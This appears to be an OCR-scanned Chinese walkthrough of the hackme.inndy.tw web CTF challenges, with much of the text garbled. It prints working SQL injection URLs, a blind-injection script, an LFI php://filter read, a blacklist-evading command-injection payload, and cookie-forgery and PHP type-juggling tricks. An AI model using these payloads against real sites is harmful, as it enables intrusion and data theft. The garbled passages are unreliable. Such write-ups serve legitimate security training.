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1. hide and seek

Can you see me? I'm so close to you but you can’t see me.

R A U BARG, TR R R AR, SRR T flag

<img src="https://i.giphy. com/HoffxyNBghVuw. gif” alt="">
<fdivy

- e . - A
<div class="container comic-sans™ >

<h2 style="color: rgbal(255, 255, 255, 0)”)|FLE.G fothuc meeseeeeeeeeeeeeeeee!]JUhE)
{fdiv>

{script>
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2. guestbook

This guestbook sucks. sqlmap is your friend.


https://blog.csdn.net/qq_41509200
https://blog.csdn.net/qq_41509200/category_9350551.html
https://so.csdn.net/so/search/s.do?q=Hackme-Web-wp&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_41509200/article/details/100807941
https://blog.csdn.net/qq_41509200/category_9350551.html
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Super-Simple-Vunlerable-Guestbook

Home | Message List | New Post

New Post

Title:

Content:

F EEAREGR—PxssBidi, TRHATuzz CECIMRD
Mgurl, AT Hfuzz

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1




Super-Simple-Vunlerable-Guestbook

Home | Message List | New Post

Delete

Post -- 2

g8
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https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2, (select TABLE_NAME from information_schema.TABLES wh

ere TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1

Super-Simple-Vunlerable-Guestbook

Home | Message List | New Post

Delete

Post -- 2

flag

at4

153)5% s flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2, (select COLUMN_NAME from information_schema.COLUMNS

where TABLE_NAME='flag' limit 1,1),4 -- 1

437 B #flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2, (select flag from flag limit 1,1),4 -- 1



Super-Simple-Vunlerable-Guestbook

Home | Message List | New Post

Delete

Post -- 2

FLAG{YOU_KNOW_SQL_TNJECT10N!!" or 595342>123123#]}

at 4
133 i #flag
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https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,3,4--+

Super-Simple-Vunlerable-Guestbook

Home | Message List | New Post

Delete

Post -- 2

3
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https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,database(),4--+



Super-Simple-Vunlerable-Guestbook

Home | Message List | New Post

Delete

Post -- 2

at4

IR 2 H5 Feg8, AR F % H]database() 117

https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(table_name),4 from information_sc

hema.tables where table_schema=database()--+

Super-Simple-Vunlerable-Guestbook

Home | Message List | New Post

Delete

Post -- 2

flag,posts,users

at4

113k 2| Fflag

https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(column_name),4 from information_s

chema.columns where table_schema=database() and table name='flag'--+



Super-Simple-Vunlerable-Guestbook

Home | Message List | New Post

Delete

Post -- 2

id,flag/padding0,padding

at4

& 2flag?]

https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(flag),4 from flag

Super-Simple-Vunlerable-Guestbook

Home | Message List| New Post

Delete
Post -- 2
http://i giphy.com/3072FAPIRXBRbBLUCO giff FLAG{YOU_KNOW_SQL_1NJECTTON!Y or 595342>123123#}|httpy//i giphy.com/m7BTtLWhjkEJa gif
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IIFBIFLAG

Ry R



sqlmap ) f# F
https://blog.csdn.net/caicai0001000/article/details/79576697
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3. LFI

What this admin’s password? That is not important at all, just get the flag.
Tips: LFI, php://ffilter

A T A Y Home & HE B

https://hackme.inndy.tw/1fi/?page=pages/index

BF W TR J5 & D flag i

) AL LldooT llay llaviedal llav s

23 <1i class="active™>

24 <a href="Tpage=pages/index” >Home</ a>
25 <f1ix

26 <1i>

27 <a href="Tpage=pages/intro”>Introductiond/a>
28 <f1ix

20 | <!-- There is no flag

30 <1i>

31 | <a href="Tpage=pages/flag >Flag{/a>
32 <11

33| >

34 <1i>

35 <a href="Tpage=pages/login”>Logind/a>
36 <f1ix

At A R T SO, BT DA o

https://hackme.inndy.tw/1fi/?page=php://filter/read=convert.base64-encode/resource=pages/flag




Component Design

Hack Me  Home Introduction  Login

Q2FulHIvdSByZWFkIHRoZSBmMbGFnPD9waHAgemVxdWIyZSgnY28uZminLnBocCopOyA/Pj8K

BRI A B — HR IR R baseBA g i (747 8, AELRMR S J 45 R T ]

iR EIIESRERNARESEHSLL X
Can you read the flag<?php require('config.php’); ?>?

BASE64/IMZ% BASEEﬁﬁ"}f

TR T AL T T furi il

https://hackme.inndy.tw/1fi/?page=php://filter/read=convert.base64-encode/resource=pages/config
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Component Design

Hack Me Home Introduction Login

PD9waHAKCIRmbGFnIDOglkZMQUA7WW9vb29vb19MRKIfZZAWZF8yY 1h4c1hTWVASRVZMckIVISI7Cg==

EAEIIESERENREEHIRILA X,
<?php

$flag = "FLAG{Yoooooo_ LFI_g00d 2cXxsXSYP9EVLrlo}";

BASE64/INZ: | BASE64fR=s

HIRY JE

LFI A& Yt

https://www.jianshu.com/p/8803aff98bfa

4. homepage

Where is the flag? Did you check the code?


https://www.jianshu.com/p/8803aff98bfa
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5. ping



Can you ping 127.0.0.1?

FIIF L A B ARG 4

< IDOCTYPE html>

<html lang="en">

<head>
<meta charset="UTF-8">
<title>Ping</title>

<form action="." method="GET">
IP: <input type="text" name="ip"> <input type="submit" value="Ping">
</form>
<pre><?php
$blacklist = [
‘flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', ‘'top', 'sleep', 'sed’,
‘apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', ‘'tar', ‘php', ‘ruby', 'kill',
‘passwd', ‘'shadow', 'root’,
‘2,
‘dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha‘', 'x64', 'g',
‘xargs', 'PATH',
'$0', ‘'proc’,
A S e T A A AN
1
set_time_limit(2);

function ping($ip) {
global $blacklist;

if(strlen($ip) > 15) {
return 'IP toooooo longgggggggees';
} else {
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";

}

$ret = [];

exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
return implode("\n", array_slice($ret, 0,

if(lempty($_GET['ip']))
echo htmlentities(ping($_GET['ip']));
else
highlight file(_ FILE_ );
?></pre>

FE 7 fESblacklistHE M 38 TR 2 AR i, (HJ/2i2 v LR B IG5 R Eed IREIIT RA a2, Frbh, BRI Is REE H %,
RIEE S B2~ T frindex.phpAiflag.php




|P: ‘ Ping |

ping: flag. php
index. php: Name or service not known

Friflag— € /& fEflag.php B 1, FrbAE 2% L ikHiflag.php, {H/Zcat, flagflphp#iZtis 17, FrLLE Htaibkiiflag.php, FrbA
A R B AR, BT ARG M payloads2: “tail fi*.ph* i & 158 1 flag

|P: ‘ Ping |

ping: <?php
$flag = 'FLAG{ping $(capture-the-flag) UtUbtnvY5SF9Hn5dR}’ ;: Name or service not known

iR fE
Linuxid Fit 75
https://blog.csdn.net/magi1201/article/details/76065370
phpfCid it

6. scoreboard

DO NOT ATTACK or SCAN scoreboard, you don’t need to do that.


https://blog.csdn.net/magi1201/article/details/76065370

A H R UL BRAT TSGR B R T, BT DU AR IR T
FIOF B BB Jo I B % F 12, 2 /ENetworkfjHeaders 14k £ 1 flag

x 0J Elements Console Sources Metwark Performance Memory  # i X
® O ¥ Q Freserve log Disable cache | Online v + *
Filter Hide data URLs

A0 ¥HR JS CSS Img Media Font Doc WS Manifest Other

200 ms 400 ms 600 ms 800 ms 1000 ms 1200 ms
MName % Headers Preview Response  Cookies  Timing
| scoreboard/ date: Sat, 14 Sep 2010 ©3:85:41 GMT .
_ bootstrap.min.css expires: Thu, 19 Nov 1981 @8:52:80 GMT
_| analytics,js pragma: no-cache
| collect?v="18_v=)798a=15036373... server: nginx
B Eozeioig set-cookie: session=SESSION.8%2BXA2FvaQg8IImxT420auu]y
| favicon.ico 3%2BKBGRBYUMisuaeVak65FUMASDYX2F 1020818nUAg1c 1rQpN7ZY
m3SzOVWTmnuvZXA%3ID%30 . bmFtZXxz0jEy0il4alSnc2h1viWlrdkd
10w%3D0%30.1568689541; expires=Tus, 17-52p-281%9 83:85:
41 GMT; Max-Age=259288; path=/
status: 208
strict-transport-security: max-age=15763808
x-flag: FLAG{Header can hide some data aswell.}
¥ Request Headers
:authority: hackme.inndy.tw
:method: GET
6 requests | 10.8 KB transferred | 21! :path: /scoreboard/ -
:  Console What's New *

7. login as admin 0

SQL Injection!

PR fsqiFEN, #ENEH SidiSource Code, Hi I FIFEACHY

<?php
require('config.php');

// table schema

// user -> id, user, password, is_admin

if($_GET[ 'show_source'] === "1") {
highlight file(_ FILE_);

exit;

function safe_filter($str)
{

$strl = strtolower($str);
if (strstr($strl, 'or 1=1") || strstr($strl, 'drop') ||




)

return

}

return str_replace("'", "\\'", $str);

$ _POST = array_map(safe_filter, $ POST);

$user = null;

// connect to database

if(!empty($_POST['name']) && !empty($_POST[ 'password'])) {
$connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
$db = new PDO($connection_string, DB_USER, DB_PASS);
$sql = sprintf("SELECT * FROM “user’ WHERE “user’ = '%s' AND " password™ = '%s'",
$ _POST[ 'name'],
$ _POST[ 'password' ]
)s
try {
$query = $db->query($sql);
if($query) {
$user = $query->fetchObject();
} else {
$user = false;
¥
} catch(Exception $e) {
$user = false;

¥
?><!DOCTYPE html>

<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login As Admin O</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">

<div class="jumbotron">
<div class="container">
<h1>Login as Admin ©</h1>
</div>
</div>

<div class="container">
<div class="navbar">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="/">Please Hack Me</a>
</div>
<ul class="nav navbar-nav">
<li>
<a href="/scoreboard">Scoreboard</a>
</1i>
<1i>
<a href="?show_source=1" target="_blank">Source Code</a>
</1i>
</ul>




</div>
</div>
</div>

<div class="container">
<div class="col-md-6 col-md-offset-3">

?>
<!-- debug: <?=$sql?> -->
<div class="alert alert-danger">Login failed</div>
<?php endif; ?>
<form action="." method="POST">
<div class="form-group">
<label for="name">User:</label>
<input id="name" class="form-control"” type="text" name="name" placeholder="User">
</div>
<div class="form-group">
<label for="password">Pass:</label>
<input id="password" class="form-control"” type="text" name="password" placeholder="Password"

</div>
<div class="form-group">
<input class="form-control btn btn-primary" type="submit" value="Login">
</div>
</form>

<div>
<p>
You can login with <code>guest</code> / <code>guest</code>.
</p>
</div>
?>
<h3>Hi, <?=htmlentities($user->user)?></h3>

<h4><?=sprintf("You %s admin!", $user->is admin ? "are" : "are not")?></h4>

<?php if($user->is _admin) printf("<code>%s</code>, %s", htmlentities($flagl), $where_ is flag2); ?>
<?php endif; ?>
</div>
</div>

A HE R SR AT H adming s




function safe filter($str)
{

$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')

) A

return '';

}

return str_replace("'", "\\'", $str);

P 2 Sy

SRBHEIET or 1=1 FEFLF, ERRRFHLEE CHR5S, TR s e TABREE 515, A CLETR, eI
JEH B QPR AL M BRI SCpst 51 5 AT 10 SR, ARSI S bi ok 17, TRIANTATLURII M S, BT E L 7515,
HAE R iadminE Ik, AT LME16HER 58, Fi%payloadln

name=guest\' or user=0x61646d696e-- +& password=guest

Please Hack Me Scoreboard Source Code

Hi, admin
You are admin!

FLAG{\' UNION SELECT "I Know SQL Injection" #}, flag2 in the database!

HIRY R

mysqliZ & if) 15§
https://blog.csdn.net/xiazdong/article/details/7368576

payload i
0x61646d696e /& 163 il H, 45 il 745 )5 3t /&-admin

mysql 738515
1 # B I ) BT VRS, SERR S I rh d i FH 1 urZm S T SOR 2 S g IS R Y %23
2. - T TR R A A R

3.+

4. fEbypass— YL LL L  waf ] fEik 27 LL
5./*) H R R ERE

6./l

7./*150000 */ mysql 538 75 fie A P R R

8. login as admin 0.1

Grab the hidden flag


https://blog.csdn.net/xiazdong/article/details/7368576

M FRX S R, ARAE B flag T A P A) TR B flag2 R B 2R b, BT DAEE R SR BN 2 B P #k flag

Hi, admin

You are admin!

FLAG{\' UNION SELECT "I Know SQL Injection" #} |flag2 in the database!

TRITIRE WA

name=guest\' union select 1,2,3,database()#

Please Hack Me Scoreboard Source Code

Hi, 2

You are admin!

FLAG{\' UNION SELECT "I Know SQL Injection” #}, flag2 in the database!

RIVBA SR, Bt w3 1X N2 EEE T

“name=guest\' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_ schema=data

base(" )#




Please Hack Me Scoreboard Source Code

Hi, h1dden_ f14g,user

You are admin!

FLAG{\' UNION SELECT "I Know SQL Injection" #} ,flag2 in the database!

RGERTL TR KBRS 7 R4, A R ) 4 15 2iflag

name=guest\' union select 1,the_f14g,3,4 from hldden_f1l4g#

Please Hack Me Scoreboard Source Code

Hi, FLAG{Good, Union select is quite easy to exploit!}

You are admin!

FLAG{\' UNION SELECT "I Know SQL Injection" #} , flag2 in the database!

9. login as admin 1

Please login as admin.

Tips: SQL Injection but sgimap not working anymore.
Update: Source code is available now.

Scanner WONT WORK

A SR AT Lladmin& iy 5, ibsdsqiEN, HiZsqimapAEIEH, 1A, ERIENE, TRmEE I



function safe filter($str)
{

$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')

) A

return '';

}

return str_replace("'", "\\'", $str);

BiiiRloginas admin 0 A%, (HZHJE T £k, '1=1', '', union select fil selectinZts MK, TRH FHMMmAE
pul IR C ] iFTe)

name=admin\"'/**/union/**/select/**/1,2,3,4/**/#

Please Hack Me Scoreboard Source Code

Hi, name=admin\\'/**/union/**/select/**/1,2,3,4/**/#
You are admin!

FLAG{Hel1®, Admin\\' or 1337 < 314159 #} , flag2 in the database!

HIRY R

%09 TAB%E (7K°F>)
[/

%0a #i i —1T

%0c i) — it

%0d returnzj &
%0b TAB%E (T H.)
%a0 =4

- g SR\

10. login as admin 1.2

Get another flag
Tips: boolean-based SQL injection, information_schema

;_:Ig

RGBSR R BATHAT G, BT REAAT T, KR IEF RS, SR HL, B EESREEA S, &R 9 login failed



r"guest\'/**/union/**/select/**/1=7,2=5,3=9, (ascii(substr((select/**/group concat(4a39lallcfa831ca749
cf8d00782f3a6)/**/from/**/0bdb54c98123f5526ccaed982d2006a9),{},1))={})#"
{"name" :r"guest\'/**/union/**/select/**/1=7,2=5,3=9, (ascii(substr(database(),{},1))>{})#", 'password':"12

for i in range(0,70):
for j in range(32,128):
data['name'] = payloadl.format(str(length),str(j))
content = requests.post(url,data=data).text
if "FLAG" in content:
flag += chr(j)
print('**flag:**',flag)
length += 1

break

flag

:+::+:-Flag::+::: FLAG{NQNJ
**flag:** FLAG{WeW,
**flag:** FLAG{WeW,
“*flag:** FLAG{WOW, You
**flag:*” FLAG{N@NJ You

Traceback (most recegbmes

But, il /N, Wikittiflag, AtHikXA—m, BT

11. login as admin 3

login as admin

FHER Hiflag, cookied fI$user[‘admin’] % Mtrue

<Sdivy
{?php else: >
<h3>Hi, ?=htmlentities (Suser[ name ])?></h3>

<h4><?=sprintf("You %s admin!”, |Suser[ admin’]| ? “are” : “are not”)?></hd>
<Pphp if(Suser[’ admin']) printf("<code>%s</code>”, htmlentities($flag)): 2>

{?php endif; ?

£ N load_user()pfi £, FATABEAE x5 R!=, TRMES] 7 phpdgtbis, WA ZMidsig=0, RIRIREMRSTHE
UNTRLT SRl

hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']




true) ;
.._‘I

Sunserialized[ sig’]

load_user()
Serror:

Ssecret,
dsecret)

$secret) [::] $unserialized[ sig

function
global
if(empty ($_COOKIE[ user
null;
json_decode(base64_decodei$_COQKIE:'user!]h

return

$unserialized[ data’ ],

Sunserialized
= hash_hmac( shadl2 ,
Sunserialized[ data’
"Invalid session’ ;
1 true) :

if (hash_hmaec (" shab12’,
Serror =
false;

Sr

return
json_decode ($unserialized[ data’ ],

Sdatal0],

(
=>
Sdatall]

Sdata

return
" name’
=

admin

AT F i php AR HS 5 BT AT 5 2 9 3 (i payload

'data’ => $datal));

<?php
function set_user()
["admin',true];
json_encode($user);
base64 encode(json_encode(['sig' => $sig,

_O;

$all;




iIdeone.con

(& edit P fork & download

1. < ?php

2. function set_user()

B

4, Juser = [Cadnin’, truel;

5. $data = json_encode($user)
&. ¥ziz = O

7. Jall = bazefd encedeljson encede( [ sig’ =» 3sig, "data’ => $datall):
g. echo $all;

B

10.  set_user():

11. >

Success #stdin #stdout 0.03s 24208KB

& stdin

Standard input is empty

£ stdout

‘ eyJzalci0jAsImRhdGEiOiIbXCIhZG1pblui LHRyd'LfJVdInB:‘

FEM T f¥jconsole T4 N T I fir 2 (M2 fEcookie BRI T %) Eif3flag

document.cookie="user=eyJzaWciOjAsImRhdGEiOiJbXCIhZG1lpblwilLHRydWVdIn@="

Please Hack Me Scoreboard Source Code Logout

Hi, admin
You are admin!

FLAG{H3110, 4dmilnl576a7er... 1f y@u knéw my 53cR37 and Use STRONG COMPARE
pls}

MR R

o phpig b

e fFcookie IR

12. login as admin 4



login as admin

G W RS, RIIX AL T A% T, happy

<?php

require('config.php');
if($ _GET[ 'show _source'] === '1') {
highlight file(_ FILE_ );

exit;

if($_POST[ 'name'] === 'admin') {
if($_POST[ 'password’'] !== $password) {
// show failed message if you input wrong password
header('Location: ./?failed=1");

AT 75 2$ POST['name’] === ‘admin’, Jii 420
$ POST['password’] == $password, 75 NI Ifi

Location: ./?failed=1 it 2 Bk#% Flfailed=1, 2% NI,
HIAIHAENE Spassword 24, XA ffconfig.phprt, 3411 R H curlfd 15 A8 0% A Bk 5t B 6 35 1 (i flag

root@kali: /media/sf_D_DRIVE/CTF Practice o ® O
E(F) #RIB(E) ZH() E=(S) Lim) #EIH)

<a class="navbar-brand" href="/"=Please ¢ Me</a>
</div=
<ul class="nav navbar-nav"=
<li>
<a href="/scoreboard"=Scoreboard</a=
</1li=
<li>
<a href="7show source=1" target=" blank"=Source Code</a=
</1li=
</ul=
=/div=
</div=
</div=

=div class="container"=
=<div class="col-md-6 col-md-off

=div
redirection..}=/code=</div
=/div=
</div=
=/body=

</html= )
yg.csdn.netiqq_41¢

: /media/sTt D DRIVE/CTF Practice# I


https://www.cnblogs.com/duhuo/p/5695256.html

login as admin

EEVTD, RILX FIIAT B L $user=="admin’

Nioaes apus

?php else: 2>
<h3>Hi, ?=htmlentities (Susername)?></h3>
<h4><?=sprintf ("You %s admin!”, |Suser == Tadmin’ ? “are” : “are not”)?></ht>
{?php if(Suser == ’admin’) printf("<code>%s<{/code>”, htmlentities($flag)); ?

?php endif; ?

SURILT extractRi A, sk I AE AR AR B T 2 YR, A S THI fjson i B AT

data={"user": "admin"}

SR G FEKali HAT an R i 4 Bl 45flag

curl -d 'data={"user": "admin"}' https://hackme.inndy.tw/login6/

root@kali: ~
MF(F) #wRIE(E) EE(N) HEE(S) L&) FBEIH)
<ul class="nav navbar-nav"=>
<li>
<a href="/scoreboard"=Scoreboard</a>
</li>
<li>
<a href="7show source=1" target=" blank">Source Code</a>
</li>
</ul>
</div>
</div>
</div=>

<div class="container">
<div class="col-md-6 col-md-offset-3">
<h3>Hi, </h3>

<h4>You are admin!</hd>

<code>FLAG{Oops, I fucked up your user database}x/code> </div

=

</div>
</body>
</html>

sdn.net/qg_4150

3




e extract() %
AR H AL BN S AR RTS8 . RETMEXAER G W UM NEENRZRES, RN MG 5%
SHRRENUE'S A UM
https://www.php.net/manual/zh/function.extract.php
o jsont& X &
{“a”1,"b"2,“c”:3,"d"4,"e”:5}
https://www.runoob.com/php/php-json.html

14. login as admin 7

login as admin

EWh, Y ETFESuser =="‘admin’, REABER SO T

i£($ POST[ name’] == 'admin’| & [nd5(S POSTL password’]) > 00000000000000000000000000000000" )
admin account 1is disabled by give a __1j)’!t_e mdd hash

Suser = adm_n :

elseif (§_POST[ name’ ] == 'guest’ &% mdd(S_POST[ password 1) == ’084e0343a0486ff05530df6c705c8bh4’)
Suser = 'guest’;

elseif (isset($_POST[ name’ 1))
Suser = false;

1] H.password % it md5 i 5 2 45 >4’00000000000000000000000000000000°, iy H.if i == 48 2|PHP HashLb 35 A7 75 $be,

Ft At i payload H- 4047 4 T curldy 4 Rl 453 flag

curl -d "name=admin&password=QNKCDZO" https://hackme.inndy.tw/login7/


https://www.php.net/manual/zh/function.extract.php
https://www.runoob.com/php/php-json.html

root@kali: ~

MHHF) fRIB(E) EZE(V) M=) LINT) #FENH)
<div class="navbar-header">
<a class="navbar-brand" href="/">Please Hack Me</a>
</div>
<ul class="nav navbar-nav">
<li=>
<a href="/scoreboard">=Scoreboard</a=
</1li>
<li=
<a href="?show source=1" target=" blank">Source Code</a>
</li>
</ul>
</div>
</div>
</div>

<div class="container">
<div class="col-md-6 col-md-offset-3">
<div class="alert alert-success">Hello, admin! Here is your flag: <c
ode=FLAG{Scientific notation is awesome!!!}</code></div>
</div>
</div>
</body>
</html> ,
e og.csdn.net/gq_41¢

e Oefskmd5i i
PHP{EA IS 75 745 B iE, A =80 =="k SHE A BE AT LL e, e 308 — N CUOE™ Sk VA A (H AR N0, BT LU R

ARSI A LR, R EAZ LUOE T LI, ABAPHPR A NRATHIE, #5720,

Login as guest and find flag 1

BN H 5 RPLAT L guestZ 3k, T2 F FUsername=guest, Password=guest¥}

Login to use dafugManager

Username: | |
Password: | |
Language: SrEghy v

Login

| guest / guest for test



https://www.freebuf.com/news/67007.html
https://www.ohlinge.cn/php/0e_md5.html

Hope that you like this damn vulnerable dafugManager )

RN T A, 2RI MR

[guest] - E§&: /

QOL—F OFRER OEHHA QL BZ [HiER B HMER aLE

0 =8

O ) dafugManager.7z

O «index.html

O 4 see-me-if-you-need-tips.txt |

O 4 source-code-in-dafugManager.7z-please-download-...

4 fEIRR @S 6.3 GB)

DEH

K
40.05 KB
170 Bytes
65 Bytes

40.28 KB

R

=3
HTML 485
NFER
NEFESR

EQ A

2016/10/04 11:08
2016/10/03 14:51
2016/10/04 05:09
2016/10/04 11:13

[ Jms
R Bt
“TW-T=-F-- Q@
“[W=T==F== »Q
“TW-T--T-- e
“TW-T-T-- »Q

TN G R H 1 ERATT 88— cookie

Hope that you like this damn vulnerable dafugManager :)

Do you know cookie? Create a cookie named “help™ with value “me™!

T2RH W T v 4 7Econsole 6l i cookie H: M1 %, 485 # i —A~il- A ltamper a cookie 1) $E 7~

=0 dafug-manager.hackme.inndy.tw

o Oz8s ODeye DR NRe Oemes Ou e B o6

| T

Very good. You know how to create cookie. How about tamper a cookie?

(]

T Zhsiis @ HackBar

[ EHEES: fAEAR T BITRAENES S, EAleSNITEEFRENSHEEauSHSaT . MRS, BE Faaallow pasting” (FsEEIER) LUFnFRTLE.

| »» document.cookie="help=me";

SRJG RIL T WTEERshow_hidden, A Hyno

O O=sx O=xs D@t N Oaess O Ore BeE 886 @ HackBar

~ (B Cookie V mEEE

@ hitps://dafug-manager.hackme. inndy:tw =i e B2 fuiino|

Sun, 15 Sep 2019 02:48:17 GMT
Tue, 14 Sep 2021 02:47:48 GMT
Mon, 16 Sep 2019 02:47:48 GMT

» B et _gat Jdnndy.tw /
+ [ Indexed DB 9 dnndy.tw 1/
_gid dnndy.tw /
' E B PHPSESSID dafug-man... / =iE
» B miEn session guard | hackmein... /
dafug-man... /

EEdl G, ¥show hiddenit ~vesBi5flaa

Sat, 21 Sep 2019 15:16:08 GMT
Sun, 15 Sep 2019 03:48:05 GMT

B

Sun, 15 Sep 2019 02:47:17 GMT
Sun, 15 Sep 2019 02:54:40 GMT
Sun, 15 Sep 2019 02:54:40 GMT
Sun, 15 Sep 2019 02:54:40 GMT
Sun, 15 Sep 2019 02:54:40 GMT
Sun, 15 Sep 2019 02:54:40 GMT

&
1

gl .-

HttpOnly
false

| GA1.2.1906398...  false
GA1.2.5638725... false
| toggmfq2ij7ivu... false
655kglbdbuit8...  true

false

+ C
5]

Unset
Unset
Unset
Unset
Unset
Unset



lYuesy) - HER- /

QL—E OZXB#R OEFEIA Q88 HER L85 XUk QtfE (

=i -

1| .good.job.here.is.your.hidden.flag-1.xt|

/| .where-is-flag-2-please-tell-me.ixt

| dafugManager.7z

4| index.html

/| see-me-if-you-need-tips.txt

/| source-code-in-dafugManager.7z-please-download-...

6 fE1EH (Fek: 6.3 GB)

ODogood g

Hop

e Oz Desa Ot NRs (Oeser QOuee O B W
W Vs
BEEES . RLEL VMRS EVING, XO[fEe MR E TSNS SR e Tait B L. WNERERN,, B

» | document.cookie="show_hidden=yes";

FLAG{Wow, how did you found me? I was hidden!}

16. dafug-manager 2

Login as admin, code review and get flag 2



£ _FR AL b, BRATTAT BAE N ZLAE o SCff

QL—E OFER OFWEA QL HEE HEE L¥BH XBER QLS

=g -

/) .good.job.here.is.your.hidden.flag-1.txt

| .where-is-flag-2-please-tell-me.txt |

| dafugManager.7z

| index.html

| see-me-if-you-need-tips.ixt

/| source-code-in-dafugManager.7z-please-download-...

6 {E15H (Fig: 6.3 GB)

Oodoodm

@S

47
46
40.
17(
65

40

SRR, EATladming fr 5%
L N/ Hevn [ SNV o W NI RH ) TTRTEEAL oo T

Try to login as admin! and you will get flag2

T, BATK7ZE48 0 TEIFMIE, B2 T, JHas i, $ERo0E S admin AR HIE>

case "admin":
regquire "./core/fun admin.php";

[show_adain (SGLOBALS ["a12"1 )

break;

7 index.php 1, FATRIL T show_admin()e&i %L, 7Efun_admin.php 1 ERER ] T iX A K%L

function show admin ($dir) {
Spwd = ([$GLOBALS["permissions"] & 2) == 2):
$admin =| ( ($GLOBALS ["permissions"] & 4) == 4);

I T $GLOBALS[“permissions”], 4k4Litis 5 HA kA E

function activate user (fuser, Spass) {
$data = find user ($user, $pass):
if ($data == NULL) return false;
$GLOBALS[' SESSION'](["s user"]
$GLOBALS[' SESSION'](["s pass"]
$GLOBALS["home dir"] = $data[2]:
$GLOBALS["home url"] $datal[3]:
$GLOBALS["show hidden"] = $datal[4]:
$GLOBALS["no access"] = $data[5]:
lEELOBALS["pEIm;ss;Q:S"] = 5dﬂtﬂ[5]P
Teturn trae;

$data[0]:
$data[1l]:




N A{ractivate_user()# % T 5 $ GLOBALS["permissions”& i H 5% & [1$ data, i1 F|$datart ki $Lactivate_user()FH in %
#

function activate user(S$user, $pass) {
$data = find user (Suser, S$pass);
if ($data == NULL) return false;
$GLOBALS([' SESSION']["s user"] = $data[0]:
$GLOBALS([' SESSION']["s pass"] = $data[l]:
$GLOBALS ["home dir"] Sdata[2]:
$GLOBALS ["home url"] = S$data[3]:
$GLOBALS ["show hidden"] = $data[4]:
$GLOBALS ["no _access"] = $data[5]:
$GLOBALS ["permissions"] = S$datal[6]:
retorn true;

B, 1BEHind_user()E %

function &find user ($user, $pass) {
$cnt = count ($GLOBALS["users"]):
for ($i = 0:;%i < Scnt;++%81) {
if (Suser == $GLOBALS["users"][$i][0]) {
if (Spass == NULL || (Spass == EGLOBALS["users"]|[$§i][1] && SGLOBALS["users"][$i][7])) {
return SGLOBALS["users"][$i]:

}
}
}
return NULL;

1M SGLOBALS[“users”] 7EMF HL1g ? 4> R &, KILE htusers.php H

<?php
SGLOBALS["users"] = array(

array ("guest"”, "084e0343a0486ff05530df6c705c8bb4"™, "./data/guest”™, "https://gamel.security.ntu.st/data/guest®”, 0, "~.ht", 1, 1),
)

(E VR R A e At Fe, R4 T guestifBsiy, ixX BN Z2 AT B B 5L K5 AL 1, K-S SR AR R SO T ARRAT AN RE 6
sqEN, FrbAFRAT2 A Re s 2l S U S5 2 111 .htusers.php? B 47 i https://dafug-
manager.hackme.inndy.tw/.config/.htusers.php 1 & /& & INEE BIL BN AN, B FERARRH download F#, 7t index.php

// DOWNLOAD FILE

case "download":
ob start():; // prevent unvanted output
require "./core/fun_down.php";
ob end clean():; // get rid of cached unwvanted output
download item($GLOBALS["dir"], S$GLOBALS(["item"]):
ob start(false); // prevent unvanted output
exit;
break;

1M 7Efun_down.phpH, 75 25 & 21 HE A 1 261

function download item($dir, §Sitem) {

Sitem = b (§item) ;

if (($GLOBALS["permissions"] & 01) != 01) show error ($GLOBALS["error_msg"]["accessfunc"]):

if (!get_is_file($dir, $item)) show _error($item . ": " . $GLOBALS["error msg"]["fileexist"]):;
if (!get_show item($dir, §item)) show _error($item . ": " . $GLOBALS["error msg"]["accessfile”]):
fabs_item = get abs item(fdir, Fitem):

if (!file in web($abs_item) || stristr($abs_item, '.php') || stristr($abs_item, 'config')) show error($item . ": " . $GLOBALS["erm
$browser = id browser():
header ('Content-Type: ' . ((Sbrowser == 'IE' || $browser == 'OPERA') ? 'application/octetstream' : 'application/octet-stream')):

header ('Expire=z: ' . gmdate('D, d M ¥ H:i:z") . ' GMI"):



Neauer | "LONLeEnL—1ransIer-Lncouing: Dinary-j;

header ('Content-Length: ' . filesize(Sabs_item}}:

if (Sbrowser == 'IE') {
header ('Content-Disposition: attachment; filename="' . Sitem . '"'):
header ('Cache-Control: must-revalidate, post-check=0, pre-check=0");
header ('Pragma: public'):;

} else {
header ('Content-Disposition: attachment; filename="' . §item . """):
header ('Cache-Control: no-cache, must-revalidate');

header ('Pragma: no-cache');
}
@readfile ($abs_item):
exit;

M, FRATE R config/.htusers.php , {HJE7E 8 H ) stristr($ abs_item, ‘.php’) || stristr($abs_item, ‘config’) 13 1 configfl
phpMi A~ 7B, RARTCREE, RABTEEH AL K%, 7Efun_edit.phpth

function download item($dir, $item) {
$item = basename (Sitem);
if (($GLOBALS["permissions"] & 01) != 01) show error ($GLOBALS["error msg"]["accessfunc"]):
if (!get_is file($dir, $item)) show error($item . ": " . $GLOBALS["error msg"] ["fileexist"]);:
